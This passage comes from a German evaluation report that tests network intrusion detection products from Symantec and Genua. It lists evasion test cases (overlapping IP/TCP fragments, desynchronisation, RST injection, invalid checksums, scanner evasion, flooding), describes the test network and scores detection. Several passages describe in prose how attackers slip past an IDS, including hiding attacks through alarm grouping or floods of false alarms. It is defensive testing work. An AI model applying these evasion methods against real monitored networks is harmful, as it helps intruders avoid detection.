TCP Data Segment, welches in 8-byte Fragmente gesplittet ist und
sende das letzte bevor die anderen geschickt werden.

Verhalten Wartet das IDS bis alle Pakete gekommen sind, bevor sie Reas-
sembling versucht?

Name frag-7
Operation TCP Handshake abschlie�en, schicke einen Fragmentenstrom, in

welcher der String "GET" durch den String "SNI" ersetzt wur-
de. Schicke ein forward-überlappendes Fragment, welches wieder
"SNI" zu "GET" überschreibt am Zielsystem.

Verhalten Kann das IDS richtig forward-überlappende IP Fragmente behan-
deln?

Name tcp-1
Operation TCP Handshake abschlie�en, simuliere die Trennung des Zielsy-

stems Hosts vom Netzwerk und sende einen test String in eine Serie
von 1-byte TCP Daten Segmenten.

Verhalten Wartet das IDS auf das TCP ACK vom Target bevor die empfan-
genen Daten auswertet?
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Name tcp-3
Operation TCP Handshake abschlie�en, sende einen test String in eine Serie

von 1-byte TCP Daten Segmenten und schicke noch ein Duplikat
einer der Segmenten.

Verhalten Behandelt das IDS richtig TCP Segment Duplikate?

Name tcp-4
Operation TCP Handshake abschlie�en, sende einen test String in eine Serie

von 1-byte TCP Daten Segmenten, schicke ein weiteres 1-bye TCP
Segment welches mit ein früheres Segment völlig überlappt,aber
andere Zeichen beinhaltet.

Verhalten Kann das IDS TCP Segmente Duplikate richtig behandeln?

Name tcp-5
Operation TCP Handshake abschlie�en, sende einen test String mit dem Buch-

staben 'c' durch 'X' ersetzt, in eine Serie von 1-byte TCP Daten
Segmenten. Direkt danach schicke ein 2-byte TCP Daten Segment,
welches überlappt (forward) mit geänderten Buchstaben, sodass
im Zielsystem wieder zu 'c' überschrieben wird.

Verhalten Kann das IDS Überlappung in out-of-order TCP Strom behandeln?

Name tcp-7
Operation TCP Handshake abschlie�en, sende einen test String in eine Serie

von 1-byte TCP Daten Segmenten, durch eine Serie von 1-byte
TCP Daten Segmenten, der gleichen Verbindung gehörend, aber
drastisch unterschiedlichen Sequence Nummern.

Verhalten Überprüft das IDS die Sequence Nummer während Reassembling?

Name tcp-8
Operation TCP Handshake abschlie�en, sende einen test String in eine Serie

von 1-byte TCP Daten Segmenten, eins davonout-of-orderRei-
henfolge

Verhalten Kann das IDS einfache out-of-order TCP reassembly behandeln?
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Name tcp-9
Operation TCP Handshake abschlie�en, sende einen test String in eine Serie

von 1-byte TCP Daten Segmenten, geschickt in zufälliger Reihen-
folge

Verhalten Kann das IDS out-of-order TCP reassembly behandeln?

Name tcbc-2
Operation TCP Handshake abschlie�en, sende einen test String in eine Serie

von 1-byte TCP Daten Segmenten. Füge in den Daten Segmenten
SYN Pakete mit den gleichen Verbindungsparametern.

Verhalten Synchronisiert das IDS neu nach dem Empfang von SYN Paket
nach einem abgeschlossenen TCP Handshake?

Name tcbc-3
Operation TCP Handshake nicht abgeschlossen, schicke ein Stream von be-

liebigen Daten mit zufälligen Sequence Nummern, als wäre das
TCP Handshake abgeschlossen. Benutze die gleichen Verbindung
Parameters, um mit “netcat” zu Verbinden und gebe den Test String
per Hand ein.

Verhalten Kann man das IDS desynchronisieren mit Hilfe von schlecht se-
quenzierten falschen Daten bevor die echte Verbindung initiiert
wird?

Name tcbt-1
Operation TCP Handshake abschlie�en, direkt danach Verbindung beenden

mit RST. Verbindung nochmals aufbauen mit den gleichen Parame-
tern, mit stark unterscheidenden Sequence Nummern und schicke
ein Test String in eine Serie von 1-byte TCP Daten Segmenten.

Verhalten Synchronisiert das IDS korrekt neu nachdem eine Verbindungmit
RST beendet wurde?

Name tcbt-2
Operation TCP Handshake abschlie�en, sende einen test String in eine Serie

von 1-byte TCP Daten Segmenten. Füge in den Strom, ein Paket
mit dem RST Flag (aber schicke weiterhin Pakete).

Verhalten Beendet das IDS durch RST das Aufzeichnen der Verbindung?
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Name insert-2
Operation TCP Handshake abschlie�en, sende einen test String in eine Serie

von 1-byte TCP Daten Segmenten, jedes mit eine ungültige TCP
Prüfsumme.

Verhalten Überprüft das IDS die TCP Prüfsumme der empfangenen Pakete?

Name insert-3
Operation TCP Handshake abschlie�en, sende einen test String in eine Serie

von 1-byte TCP Daten Segmenten, von denen keines das ACK Bit
gesetzt hat.

Verhalten Kann das IDS Daten in Segment ohne ACK akzeptieren?

Name evade-1
Operation TCP Handshake abschlie�en, füge einen test String in dem initialen

SYN Paket.
Verhalten Kann das IDS Daten in eine SYN Paket akzeptieren?

4.10 Leistungsvergleichstest

Name idswakeup [Aub]
Operation Leistungtest durch simulierte Angriffe. Dieses Tool schickte viele

Angriffe immer wieder.
Verhalten Wie verhält sich das IDS unter Last?

Name snot [snob]
Operation Leistungtest durch simulierte Angriffe. Das Programm liest snort

Rules und generiert die entsprechende Pakete.
Verhalten Wie verhält sich das IDS unter Last?

Name stick [sti]
Operation Leistungtest durch simulierte Angriffe.
Verhalten Wie verhält sich das IDS unter Last?
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Name nikto-1 [cir]
Operation Nikto ist ein Open Source (GPL) web server scanner, welcher in-

tensive Tests gegen Web Server ausführt. In diesem Test wurde statt
TAB Leerzeichen eingesetzt, um das IDS zu täuschen. ( [McN04]
Seite 112)

Verhalten Wie verhält sich das IDS bei solchen intensiven WWW Server
Scans? Wird es durch die verschiedene IDS Evasion Methoden
getäuscht?

Name nikto-2
Operation Nikto ist ein Open Source (GPL) web server scanner, welcher in-

tensive Tests gegen Web Server ausführt. In diesem Test wurde
statt Session splicing eingesetzt, um das IDS zu täuschen.Vgl auch
libwhisker [wir]

Verhalten Wie verhält sich das IDS bei solchen intensiven WWW Server
Scans? Wird es durch die verschiedene IDS Evasion Methoden
getäuscht?

Name nikto-3
Operation Nikto ist ein Open Source (GPL) web server scanner, welcher in-

tensive Tests gegen Web Server ausführt.In diesem Test wurde statt
Session splicing eingesetzt, um das IDS zu täuschen.

Verhalten Wie verhält sich das IDS bei solchen intensiven WWW Server
Scans? Wird es durch die verschiedene IDS Evasion Methoden
getäuscht?

Name Nessus [Dera]
Operation Ein “Scan” mit Nessus. Nessus ist ein Vulnerability Scanner, um

das eigene Netz auf Schwächen zu testen.
Verhalten Kann das IDS die Attacken erkennen?Wie verhält sich das IDS bei

solchen intensiven Scans?
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4.11 Kriterien LfStaD

Name route-1
Operation Eine Voraussetzung ist, dass das IDS mit Lastverteilung umgehen

kann. Um so ein Fall zu simulieren, wird ein Angriff durch 2 In-
terfaces geschickt, jeweils mit 50% Wahrscheinlichkeit lastverteilt.
Damit simuliert man den Fall, dass der Verkehr durch 2 verschie-
denen Routern übertragen worden ist.

Verhalten Kann das IDS Pakete der verschiedene Routern wieder zusammen-
setzen?

Name route-3
Operation Ein TCP -um sicherzustellen, dass der Angriff sicher das Ziel

erreicht- Angriff wird durch 2 Interfaces geschickt, jeweils mit 50%
Wahrscheinlichkeit lastverteilt.Ein weiterer Rechner erzeugt Last.

Verhalten Kann das IDS Pakete der verschiedene Routern wieder zusammen-
setzen auch unter voller Last?

4.12 Stre� Tests

Name udp�ood [Kei]
Operation Ein UDP Flooding Angriff 5 Minuten laufen lassen.
Verhalten Bleibt das IDS stabil?

Name udp�ood-1
Operation Ein TCP6 Angriff wird unter Flooding versteckt. Dafür schickt ein

Rechner udp Pakete -udp�ooding-.
Verhalten Kann das IDS die Attacke noch erkennen oder verliert Pakete?
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5
Aufbau des Tests Netzwerkes

Law 6: A computer is only as
secure as the administrator is
trustworthy

10 Immutable Laws of Security

5.1 Einfache Testumgebung

Die Tests ohne Last kann man mit einen einfachen Aufbau durchführen. Man
braucht nur drei Rechner. Ein Angreifer, ein Zielsystem undein Rechner, welcher
Sensor, Datenbank und Management Konsole vereinigt. Der Sensor wird über
einen Ethernet TAP angebunden.

Ein Angreifer führt verschiedene Angriffe -spezi�ziert durch die Testfälle- gegen
den Server. Angreifer und Server sind jeweils an einem Switch angeschlossen. Der
ganze Verkehr zwischen beiden Switches geht durch ein Ethernet Tap, der beide
Leitungen an den Sensor spiegelt.

Das Symantec Produkt agiert als Datenbankserver s. Abb. 5.1(b). Bei Genua sind
Sensor und Datenbank getrennt, wie man in Abb. 5.1(b) sieht.Der Sensor schickt
die Alarme an die Datenbank über ein eigenes Interface.
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ZielsystemAngreifer

Ethernet TAP/ SPAN Port

In

victim.bayern.de
192.168.10.13

192.168.10.45

eth0 192.168.10.67

192.168.10.230

Database

Managment Konsole

Sensor

snort1

3ffe:400:100::1

3ffe:400:100::2

Out

(a) Test Aufbau ohne Last für Genua

ZielsystemAngreifer
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(b) Test Aufbau ohne Last für Symantec. Der
Symantec Sensor ist gleich der Datenbankserver.

Für die Decoy und Idle Tests wurde noch ein Rechner an den Switch angeschlossen.
Er hatte keine Funktion, sondern war alsZombiemi�braucht, um vorzutäuschen,
dass dieser der Angreifer ist.

5.2 Belastungs Tests

FürdieStresstests wurdeein weitererRechnerbenutzt, welcherLast aufdieLeitung
produziert. Sonst ist der Aufbau genau der gleiche, wie vorhin beschrieben. Um
sicherzustellen, dass auch unter Last die Angriffe den Server erreichen, wurden
die Leitungen -beide Richtungen, d.h. auch der Server produziert Last- mit UDP
Paketen über�utet, während ein TCP Angriff stattfand. Da die Rechner an 100 Mbit
Ports angeschlossen sind, der Ethernet TAP mit Gigabit, istes sichergestellt, dass
weder der Switch, noch der Ethernet TAP Pakete verlieren. Allerdings ist es auch
nicht möglich, den Sensor zu belasten. Beim praktischen Test war das Produkt von
Symantec mit Last von 0.2 gar nicht belastet.

Es wäre auch technisch nicht möglich, die Appliance zu belasten da die Licence von
Symantec für 1 GB erstellt worden war und nicht genügend Gigabit Rechner und
Ethernet Taps zur Verfügung standen, auch bei existierender Licence. Man würde
mindestens 10 Gigabit Ports und 10 Rechner mit Gigabit Karten benötigen, um das
zu simulieren. Es wären auch 10 Ethernet TAPs nötig. Es ist nicht realistisch, dass
alle 10 verschiedene eingehende Leitungen an einen Sensor angeschlossen wird,
auch aus Ausfallsicherheitsgründen.

Da das Produkt von Symantec mit Grenzewerten1 arbeitet, war es von Interesse,
ob bei den vielen UPD Paketen, evtl. der Angriff unentdeckt bleibt.

1ab wie viel Prozent des Verkehrs ein Angriff gemeldet wird
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Abbildung 5.1: Test Aufbau für Stresstest

5.3 Lastverteilung

Um zu Überprüfen, ob die verschiedene Produkte auch mit Lastverteilung umge-
hehen können, wurde eine veränderte Netzkon�guration genutzt. Es mu� sicher-
gestellt werden, da� Pakete, die durch verschiedene Routern gehen von der IDS
als einziger Strom angesehen werden. Als Lastverteiler wurde ein Rechner einge-
setzt. Die Pakete werden mit 50% Wahrscheinlichkeit durch die zwei Interfaces
geschickt.

Die Interfaces des Sensors werden gebündelt. Dafür wird derin Linux Kernel
vorhandene Bonding Treiber genutzt. Beide Interfaces haben dann die gleiche
MAC Adresse. Das wurde für Server und Angreifer durchgeführt. Diese werden
- ohne Switches- direkt an den Ethernet TAPs angeschlossen.Die 4 Leitungen
(jeweils 2 Eingehende und 2 Ausgehende) werden als eine logische Leitung im
Sensor de�niert.
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Sensoren

Zielsystem

In

Management Konsole

Logserver

192.168.10.230

Database

snort1
192.168.10.76

192.168.10.13192.168.10.45

Loadbalancing

Out

Angreifer

Abbildung 5.2: Kon�guration für Lastverteilung

5.4 Hardware Voraussetzungen

Die Appliance ist für den Endanwender eineBlack Box, d.h. man hat kein Ein�u�
auf die eingesetzte Hardware. Wenn man stattdessen eine Software Lösung nutzt
und eine Maschine dafür aussuchen soll, sollte man bedenken, dass die Hardware
bestimmte Mindestanforderungen erfüllen muss [Bej04]. Abhängig davon welcher
maximaler Durchsatz erwartet wird, sollte man aufpassen, dass evtl. nicht der Bus
im Sensor zum Flaschenhals wird und den Rechner unnötig belastet. Es hat sich
leider in der Praxis auch gezeigt, dass nicht jede Netzwerkkarte dafür geeignet
ist. Viele Karten sind schlecht implementiert und sind ungeeignet, da sie keine
Bufferung haben.

In Tabelle 5.1 gibt es ein Beispiel für ein Sensor, der eine Gigabitleitung über-
wachen soll. Wie man schon in der Tabelle sieht, ist für den Einsatz nicht jede
Maschine geeignet. Die Sensoren sollten sehr gut mit Speicher ausgestattet sein
und PCI-X oder PCI-Express als Bus im Einsatz kommen. Damit stellt man sicher,
dass der Transfer zwischen Netzwerkarten und Hauptspeicher mit der höchsten
Rate statt�ndet.
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Hardware Minimum Optimal
CPU Pentium III 1GHz Pentium IV 1.8 GHz evtl SMP
RAM 512MB 1GB oder mehr
Festplatte 80 GB 240 GB
PCI Bus 32 oder 64bit PCI-X oder PCI-Express

Tabelle 5.1: Hardware Vorschläge für einen Sensor der an 1 GBit Leitung angeschlossen
wird.

5.5 Live Aufnahme

Alle Tests waren simulierte Angriffe. Es ist sinnvoll auch das Verhalten der Systeme
in echten Verkehr zu beobachten. Ziel ist es einerseits eineungefähre Vorstellung zu
gewinnen, wie viele Alarme in realen System auftreten. Andererseits, ist es sinnvoll
zu beobachten, wie weit das ganze System verwaltbar ist oderob man durch die
Alarme erschlagen wird. Au�erdem wurde ein simulierte Angriff durchgeführt.
Ziel ist es zu überprüfen, ob und wie einfach man den Angriff wieder �nden kann.
Es ist ein Test für die Bedienbarkeit der Ober�äche, der Suchfunktion und der
Reportausgabe.

Für diese Tests wurde der Verkehr, der für Lasterteilungsgründen, durch 2 Routern
geht, an einen SPAN Port gespiegelt.

Um ein Angriff in diesem Netz zu simulieren, wurde ein getrenntes VLAN - in
Abb 5.3 blau dargestellt- für den Angreifer und das Zeilsystem de�niert und der
Verkehr durch dieses Test LAN, wurde auch an den SPAN Port gespiegelt. An den
SPAN Port wurde der Sensor angeschlossen.
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VLAN

SPAN Port

Sensor

Server

Angreifer

Abbildung 5.3: Kon�guration für die Liveaufnahme. Der Verkehr von beiden Router und
von den VLAN(blau) wurde auf den SPAN Port gespiegelt.



6
Bewertung

Law 4: If you allow a bad guy to
upload programs to your website,
it's not your website any more

10 Immutable Laws of Security

Es wurden folgende Produkte evaluiert: von Genua und von Symantec SNS. Au-
�erdem wurde kurz das Produkt von Secusnort getestet. Es basiert auch auf snort,
so da� die meisten Ergebnisse übertragbar wären. Der Unterschied zum Produkt
von Genua liegt mehr in das Management.

In Tabelle 6.1 sieht man auf ein Überblick, was die verschiedene Produkte anbieten,
welche Voraussetzungen diese brauchen.
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Symantec SNS secusnort Genua GeNUDetect
Installation Festplatte CD-ROM Sensor über PXE

Export/Alarme Logserver (Datenbank) Logserver, Datenbank nur E-mails
Lastverteilung Bündelung nur bei App-

liance
Einfache Bündelung mit
Bonding

Einfache Bündelung mit
Bonding

Updates Über Liveupdate CD Wechsel und neu laden
der Kon�guration

Supportvertrag mit Genua
nötig

Signature Updates Über Liveupdate, KEIN
Backup

oinkmaster Supportvertrag mit Genua
nötig

Einbindung fremder Signature snort -noch nicht fertig- n/a n/a
Erstellung eigener Signaturen ja ja ja

Einbindung fremder Daten ja - -
Trennung Detektion/Alarmierungja barnyard eigene Lösung

Voraussetzungen Konsole Redhat Enterprise Linux
3 ES, 512MB, 1024x768,
Java 1.4

Redhat Enterprise Linux 3
(4 funktioniert auch, oder
S.u.S.E.)

wenige unterstütztem Ma-
schinen

Voraussetzungen Sensor Redhat Enterprise Linux 3
ES

N/A Unterstütze Netwerkkar-
ten

Datenbank P�ege Löschen, Backup mitge-
liefert

Löschen, Backup mitge-
liefert. Kon�guration über
phpmyadmin, mysqlcc.
Tuning wäre möglich.

eigene Lösung

Hochverfügbarkeit Eigene mitgelieferte Lö-
sung

Wird nicht mitgeliefert. Wird nicht mitgeliefert.

Reports ja ja ja
Anomalieerkennung ja,Protokoll SPADE eigene Lösung geplant

IDEMF - - -
ARP-Spoo�ng Protektion nein manuell manuell

Dienste IDS propietär,ssh webmin,ssh ssh
Dienste Management N/A webmin/ssh ssh,www,dhcp,tftp

Firewall IDS restriktiv restriktiv restriktiv

Tabelle 6.1: Vergleich der Produkte
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6.1 Symantec

Symantec liefert mit dem Produkt ein komfortables und einfach zu bedienendes
Kon�gurationstool, das man auch ohne Probleme bedienen lä�t. Das ganze System
lä�t sich noch in ein eigenes Symantec Produkt integrieren,so da� man ein Hybrid
IDS man bekommt.

Es wird keine Lösung für WLAN angeboten und die vorgestellteAnomalienerken-
nung beschränkt sich auf Protokollanomalien. Um effektiv Backdoors zu erkennen
durch Traf�c Anomaly, mu� man auf andere Produkte zurückgreifen.

Die Appliance hat auch ein LCD Display, welches alle interessante Informationen
anzeigt, z.B. Speicherverbrauch, Festplattenverbrauch,Name, IP Adresse.

6.1.1 Installation, Kon�guration, Management

Das Symantec SNS Produkt gibt es ein zwei Versionen: als Software1 oder als
Appliance. Bei der Software Variante ist keine Bündelung der Interfaces möglich.
Also kann im Prinzip nur die Appliance nutzen. Der Sensor dient gleich als Daten-
bank für alle Sensoralarmen. Beim Einsatz von mehreren Sensoren, kann man ein
Cluster generieren, wo ein Sensor als Master agiert und alleAlarme bekommt. Es
besteht die Möglichkeit die Datenbank zu exportieren. Au�erdem ist der Export
an ein Syslog Server möglich.

Die Appliance gibt es in verschiedenen Versionen, die sich in den Netzwerkan-
schlüsseln (100 bzw Gibabit und Kupfer bzw. Fiber) unterscheiden. Die Appliance,
die zur Verfügung stand war mit 12 Gigabit Kupferanschlüssen, 8GB RAM und
Quad Prozessoren gut ausgeschaltet, um auch unter Last ohnePaketverlust zu
arbeiten.

Die Signaturenaktualisierung �nden mit Hilfe des eigenen Live Updates statt. Alte
Signaturen werden nicht gespeichert. Nur die eigene Signaturen werden übernom-
men.

Es ist auch möglich eigene Signaturen einzubinden. Au�erdem gibt es die Möglich-
keit Net�ow Alarme zu de�nieren. Dabei wird der ganze Verkehrs�uss überwacht
und nicht einzelne Signaturen. Man kann damit de�nieren2, da� es Alarme auf-
treten, wenn ein Server Verbindungsaufbau Versuche unternimmt. Es ist möglich
Policies3 zu de�nieren und auf einzelne Sensoren bzw. Interfaces anzuwenden.

1Die Software benötigt Redhat Enterprise Linux 3.
2Ähnlich wie bei den iptables
3Eine Signaturauswahl, die mehrere Sensoren einsetzten kann man als Policy de�nieren.
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Für die Kon�guration und Auswertung wird ein eigenes Java Programm, welches
Java 1.4 verlangt. Ein paar Mal reagierte die Ober�äche nicht. Sonst ist das Pro-
gramm stabil.

Die auftretende Events sind priorisiert.

Das Produkt kann IDS Daten von anderen Systemen erhalten, wie z.B. snort, Cisco
IDS.

Es ist nicht möglich eigene Pre/Postprozessoren zu de�nieren.

Symantec liefert Tools mit, um die Database zu exportieren.Man kann manuell
oder automatisch die Datenbank archivieren.

6.1.2 Detektion

Bei der Ausstattung und der zur Verfügung stehende Mittel war es nicht möglich
voll auszulasten. Sollte das IDS Pakete verlieren, wird derBenutzer benachrichtigt.
Wie erwartet gibt Symantec Mühe falsch Positiv und Negativ auszuschlie�en, aber
es ist leider nicht 100% möglich.

6.1.3 Auswertung (Bericht) und Ausgabe

Bei Symantec wird jeder Alarm in eine Gruppe4 eingefügt. Wenn ein Alarm gene-
riert wird, wird überprüft, ob es zu einer vorhandenen Gruppe passt und zugefügt.
Ansonsten wird eine Gruppe generiert. Eine Gruppe ist 10 Minuten5 aktiv und
kann Alarme erhalten. Nach 10 Minuten wird die Gruppe geschlossen. Bei den
Gesamtüberblick sind die Gruppen sichtbar, wobei der Alarme mit der höchsten
Priorität angezeigt wird. Erst wenn ein Alarm mit höheren Priorität in der Gruppe
hinzugefügt wird, wird dieser in der Gesamtübersicht auftauchen.

Die Gefahr bei eine Gruppierung ist gro�, da� ungewollt odergezielt -um z.B.
eigene Angriffe zu verstecken- eine falsche Gruppierung statt�ndet und ein falsches
Ma� an Sicherheit entsteht.

Wie viele Gruppen angezeigt werden, ist einstellbar. Man sollte bei den Filterkri-
terien aufpassen, da es vorkommen könnte, da� bei viele Events eine Gruppe von
der Ober�äche verschwinden und nicht beachtet werden.

4Eine Gruppe beinhaltet mehrere Alarme, die zusammen gehören. Man kann die Gruppierungs-
optionen (nach Kategorie und Source bzw. Ziel IP) und die Gewichtung eintragen

5Diese Zeit ist einstellbar
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Man darf an den einzelnen Gruppen Notizen machen, aber es gibt keine Funktion
sie anzuzeigen, wie z.B. bei den Notizen zu den Signaturen gibt.

Die Möglichkeit Informationen zu den einzelnen Ereignissen zu bekommen, d.h.
das Paket anzuschauen, ist versteckt. Die Suchfunktion isteingeschränkt. Es gibt
keine Möglichkeit Contstraints zu de�nieren und komplizierte Suche durchzufüh-
ren.

Es gibt Ausgabemöglichkeiten für einen Syslogserver und eine weiteren Daten-
bank.

Die angezeigten Informationen und die Links liefern alle Informationen, um eine
Untersuchung einfach zu ermöglichen.

Es ist nicht möglich Alarme zu löschen, aber man kann sie aus�ltern.

Das IPS Modul wurde nicht getestet, ist aber vorhanden. Es existiert ein RST Inter-
face, durch welches bei Bedarf RST Pakete geschickt werden,um Verbindungen
abzubrechen.

Es gibt kein Support für das IDEMF Standard.

Die Reports haben alle wichtige Informationen und man kann die Reports als
HTML,PS oder PDF ausgeben.

6.1.4 Sicherheit

Das IDS akzeptiert nur SSH Verbindungen und hat eine restriktive Firewall. Es
wird aber kein “hardened” Kernel eingesetzt. Für die Authenti�zierung wird ein
eigenes Produkt eingesetzt.

Das Produkt erlaubt verschiedene Rollen und Rechte zu de�nieren. Die Verfüg-
barkeit des Sensors wird automatisch überprüft und Symantec liefert ein eigene
Lösung, um beim Ausfall eines Sensors Hochverfügbarkeit zugarantieren.

6.1.5 Kriterien LfStaD

Man kann die einzelnen Interfaces gruppieren, so da� ein logisches Interface ent-
steht. Damit stellt Lastverteilung kein Problem, da alle Interfaces zusammengefügt
sind.

Eine Pseudorandomisierung ist nicht möglich, weder bei derAuswertung noch bei
den Reports.
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6.2 Genua

Die von der Firma Genua gelieferte Lösung basiert auf das Opensource Projekt
snort. Die Firma hat ein eigenes Managmentsystem entwickelt. Um die Admini-
stration des Sensors einfach zu gestalten, wird der Sensor übers Netz mittels PXE6

gebootet. Danach holt der Sensor ein Image und die Kon�guration von der Mana-
gementstation. Es wird keine Appliance angeboten, sondernman kann die eigene
Rechner einsetzen.

Genua lieferte zum Zeitpunkt der Tests keine Protokollanomalie Detektor. Nach
eigenen Angaben arbeiten sie an eine eigene Lösung.

Es wird keine Lösung für WLAN angeboten.

6.2.1 Installation, Kon�guration, Management

Die Installation ist einfach. Leider unterstützt das Produkt sehr wenige Netzwerkar-
ten, was bei unseren Fall zu Probleme führte. Es war keine Installation möglich -
zur Installation war LILO als Bootmanager nötig, danach konnte man mit GRUB
wieder arbeiten- und der Sensor verweigerte die Arbeit. Erst durch die ein paar
Tricks der Firma konnte man das System lauffähig machen.

Die Managementstation ist ein modi�ziertes Debian System.Die Updates dürfen
von der Firma Genua direkt bezogen werden. Es darf kein Upgrade von den übli-
chen Debian Updateservern gezogen werden. Genua hat eine gemeinsame Ober-
�äche für Management und Auswertung erstellt. Durch extra Tools werden die
Sensoren sowie die Dienste, Speicherverbrauch überwacht.

Man kann sehr einfach eigene Signaturen einbinden bzw. de�nieren.

Durch den Einsatz von User-Certi�cates (pk12) und verschlüsselten WWW Ver-
kehr ist eine sichere entfernte Administration möglich.

Genua hat das System so modi�ziert, so dass man keine eigene Pre/Postprozessoren
de�nieren kann, obwohl bei snort ohne weiteres möglich wäre.

Die auftretende Events sind priorisiert.

Das Produkt kann nicht IDS Daten von anderen Systemen erhalten.

6Pre-Boot Execution Environment
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6.2.2 Detektion

Bei der Ausstattung und der zur Verfügung stehende Mittel war es nicht möglich
voll auszulasten. Sollte das IDS Pakete verlieren, wird es in den Log�les protokol-
liert.

Auch bei Genua kann man falsch Positiv und Negativ nicht auszuschlie�en.

6.2.3 Auswertung (Bericht) und Ausgabe

Die Auswertung und das Management erfolgt über WWW. Zur sicheren Kommu-
nikation mit der Managemntkonsole erstellt das Installationsprogrammeine PKI7-
Infrastruktur und User Certi�cates.

Das Auswertunginterface erinnert stark an ACID [Danb] bzw.BASE [TR] und
bietet die gleiche Funktionalität. Die Suchfunktionen mitConstraints sind sehr
hilfreich. Leider fehlt in der Gesamtansicht eine Gruppierung der Ereignisse, wie
bei Symantec. Das erschwert die Arbeit. Es gibt eine “Gruppierung” -es ist mehr
eine Suchfunktion, nach Priorität oder Signaturen.

Man kann eigene Alarm Gruppen de�nieren und dort Alarme ablagern.

Eine Löschung von Alarme ist möglich, z.B. eigene Penetration Testing Versuche.

Genua hat das System so modi�ziert, um die Antwortzeit der Auswertungkonsole
zu optimieren. Es ist bei den gro�en Test, z.B. nikto 66 vorgekommen, dass man
bis 45 Minuten warten mu�te, bis alle Alarme erscheinen.

Das Genua Produkt hat ein eigenen Dispatcher, welcher die Kommunikation der
Sensoren mit der Database übernimmt.

Als Ausgabemöglichkeit bietet Genua nur E-mails zu. Das schränkt starkt die
Auswertungsmöglichkeiten.

Für die Alarme sind alle wichtigen Informationen und Links schnell da.

Die Reports sind sehr gut strukturiert und bieten alle Informationen, die man
braucht.

Es gibt auch eine IPS Schnittstelle, die nicht weitergetestet würde.

Es gibt kein Support für das IDEMF Standard.

7Public Key Infrastructure
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6.2.4 Sicherheit

Um die Sensoren übers Netz zu booten, wird PXE eingesetzt. Damit werden vie-
le Dienste wie DHCP, TFTP,... angeboten. Aus Sicherheitsgründen8, sollte man
ein eigenes Managementnetz einsetzen, was auch der Normalfall sein sollte. Die
Sensoren und die Managementkonsole bieten nur die nötigen Dienste an, und sind
durch Firewall geschützt.

Ein “hardened” Kernel ist nicht vorhanden.

Die einzelnen Sensoren werden überwacht und Probleme gemeldet, z.B. falls der
ssh Daemon nicht läuft.

Es sind verschiedene Rollen mit unterschiedlichen Rechtenvorde�niert.

6.2.5 Kriterien LfStaD

Es gibt eine hierarchisches Struktur, welche mehrere Sensoren und Managment-
konsolen zusammenfa�t.

Durch Bündeln der Interfaces kann man mit Lastverteilung umgehen.

Eine Pseudonymisierung ist nicht möglich.

6.3 Ergebnisse

Viele der Tests, insbesondere Tunnel, Backdoor, Man-in-the-Middle und Layer 2
Attacken sowie WLAN Attacken können die getestet Systeme nicht detektieren.
Es ist ein prinzipielles Problem und nicht ein Fehler der getesteten Systemen.
Darum ist es notwendig, auch weitere Komponenten, wie die Firewall oder den
Router, so zu kon�gurieren, dass unbekannte und nicht gebrauchte Protokolle nicht
durchlassen bzw. nicht routen.

Die Stärke der Systeme liegt de�nitiv in die Scan- und Exploiterkennung. Da aber
ein Angreifer auch über Bruteforce Attacken oder über alternativen ungeschützten
Wege, z.B. WLAN in das System eindringen kann, mu� man weitere Ma�nahmen
ergreifen, um ungewöhnlichen Verkehr frühzeitig zu entdecken.

Beide Produkte können mit IPv6 nicht umgehen. Da es IPv6 nicht weitverbreitet
ist und schon im Routern blockieren kann, stellt nur der IPv6in IPv4 ein Problem.

8Wenn ein Angreifer Zugriff auf das Managementnetz hat, wäreein DoS Angriff möglich oder
es wäre möglich gefälschte Images zu verteilen.
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Man sollte unbedingt über die Auswertung von Net�ows nachdenken. Da kann dort
schon anomales Verhalten entdecken. Man sollte au�erdem Net�owregel de�nie-
ren, falls das Produkt diese unterstützt, um damit ungewöhnliches Verhalten, z.B.
wenn ein Server Verbindungen aufbauen will- einfach zu entdecken. Die Wahr-
scheinlichkeit für falsche Alarme steigt so aber.

Eine Gruppierung der Alarme ist sehr zu empfehlen. Allerdings mu� man dann
aufpassen, wie die Gruppierung passiert, um nicht Alarme zuverlieren. Bei Syman-
tec werden Alarme so gruppiert, so dass der Alarm mit der höchsten Einstufung
als tragendes Event erscheint. Viele Brute Force Attacke werden als Informativ
eingestuft. Wenn man sie mit ein Portscan kombiniert könnteeinfach der Angriff
unentdeckt bleiben.

Auch der Einsatz von Limits, so dass man von der Menge an Alarme nicht er-
schlagen wird, ist mit Vorsicht zu genie�en. Wenn ein Angreifer Kenntnis davon
hat kann evtl. durch Erzeugen von Falschalarmen unentdecktbleiben. Wenn nur
100 Alarme angezeigt werden, kann ein Angreifer 200 falscheAlarme generie-
ren und die Attacke durchführen. Evtl. wird der Angriff nicht auf den Bildschirm
angezeigt sondern ist nur in der Datenbank gespeichert. Mansollte evtl. auf ein
differenziertes Alarmsystem einsetzen. Das bedeutet, dass nur bestimmte wichtige
Alarme sofort eine Benachrichtigung nach sich ziehen. Wennman bei alle Alarme
noch ein Benachrichtigung sei es E-mail oder Pager, kann manschnell von der
Menge ersticken.

Als Note wurde festgelegt 0 für nicht entdeckt, 1 für falsch entdeckt bzw. zu viele
Alarme, 2 für entdeckt.

6.3.1 Scans

Beide Systeme erkennen Portscans und Applicationscans sehr gut. Allerdings kann
ein Angreifer IDLE Scans oder Decoy Scans einsetzen. Auch der Einsatz von Dis-
tributed Scans9 erschwert die Arbeit. Tools wie icmpush oder scanrand2 werden
nur alsUnsual ICMP Type, so dass keine aussagekräftige Informationen existie-
ren, was passiert ist. Ein Betriebsytemerkennung kann auchüber die passive Be-
obachtung des Verkehrs erfolgen, da die verschiedene Betriebssysteme besonders
verhalten.10

In diesem ersten Schritt kann evtl. nur unerfahrenen oder unvorsichtigen Angreifern
entdecken. Da es mit IDLE und Decoy Scans die IP gefälscht wird, ist es fraglich,

9Mehrere Rechner scannen das Ziel, jeder Rechner scannt ein Port
10Durch die gesetzte TTL in den IP Pakete, kann man entdecken , ob es um ein Windows oder

Linux System es handelt.
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ob die IP Adresse in den Alarme wirklich den Angreifer gehört.
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Test Symantec Genua Testfall Seite Test Seite
TCP syn 2 2 42 102
sing-1 2 1 42 102

sing-info 2 2 42 102
icmpush-tstamp 2 2 42 102
icmpush-mask 2 2 42 102

scanrand2 1 0 44 102
scanrand2-1 1 0 44 102
TCP SYN 2 2 2 44 102

TCP connect() 2 2 44 103
udp 2 2 44 103

protocol 2 2 45 103
ack 2 2 45 103
rpc 2 2 45 103
null 2 2 45 103
icmp 2 2 45 103
�n 2 1 45 103

windows 2 2 45 103
xmas 2 2 46 103
decoy 1 1 46 104
idle 1 1 46 104

time-1 0 0 46 104
time-2 0 1 47 104
ipv6s-1 0 0 47 104
